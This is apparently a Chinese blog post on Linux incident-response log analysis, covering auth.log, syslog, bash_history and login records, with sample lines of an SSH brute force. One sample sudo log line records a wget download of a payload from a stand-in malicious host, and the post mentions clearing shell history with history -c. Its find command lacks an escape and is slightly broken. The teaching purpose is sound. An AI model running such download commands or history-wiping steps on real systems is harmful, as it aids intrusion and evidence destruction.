Linux日志分析——命令行里的“线索”
Linux没有Windows那种统一的事件ID体系,日志分散在各个目录下。但熟悉之后,提供的信息甚至更丰富。
日志都在/var/log/目录下:
auth.log——最优先看的文件。SSH登录(成功/失败)、sudo命令、用户管理(创建/删除/改密码),全在这里。
典型攻击场景:
Jan 15 02:15:33 server sshd[12345]: Failed password for root from 192.168.1.100 port 54321 ssh2
Jan 15 02:15:36 server sshd[12345]: Failed password for root from 192.168.1.100 port 54321 ssh2
Jan 15 02:15:39 server sshd[12345]: Accepted password for root from 192.168.1.100 port 54321 ssh2
凌晨2点15分对root暴力破解,三次后成功了。
sudo日志也在auth.log里:
Jan 15 02:16:01 server sudo: root : COMMAND=/usr/bin/wget http://malicious.com/payload
登录后一分钟内用wget下载了可疑文件。
syslog——系统综合日志。服务启动/停止、网络变化、硬件事件、内核报错。比如攻击者停止防火墙:
Jan 15 02:20:01 server systemd[1]: Stopping firewalld.service
~/.bash_history——当前用户敲过的命令。攻击者干了什么全有记录。查看所有用户历史:
find /home -name ".bash_history" -exec cat {} ;
如果攻击者用了history -c清空,文件就是空的。这个操作本身不留日志——只能通过“登录了但没有历史记录”来反推。
其他日志:
wtmp——登录记录,last查看
btmp——失败登录,lastb查看
lastlog——每个用户最后登录时间
我的流程:先看/etc/passwd确认用户→看auth.log找异常登录→看~/.bash_history还原操作→看计划任务→可疑文件时间戳做成时间线。
浙公网安备 33010602011771号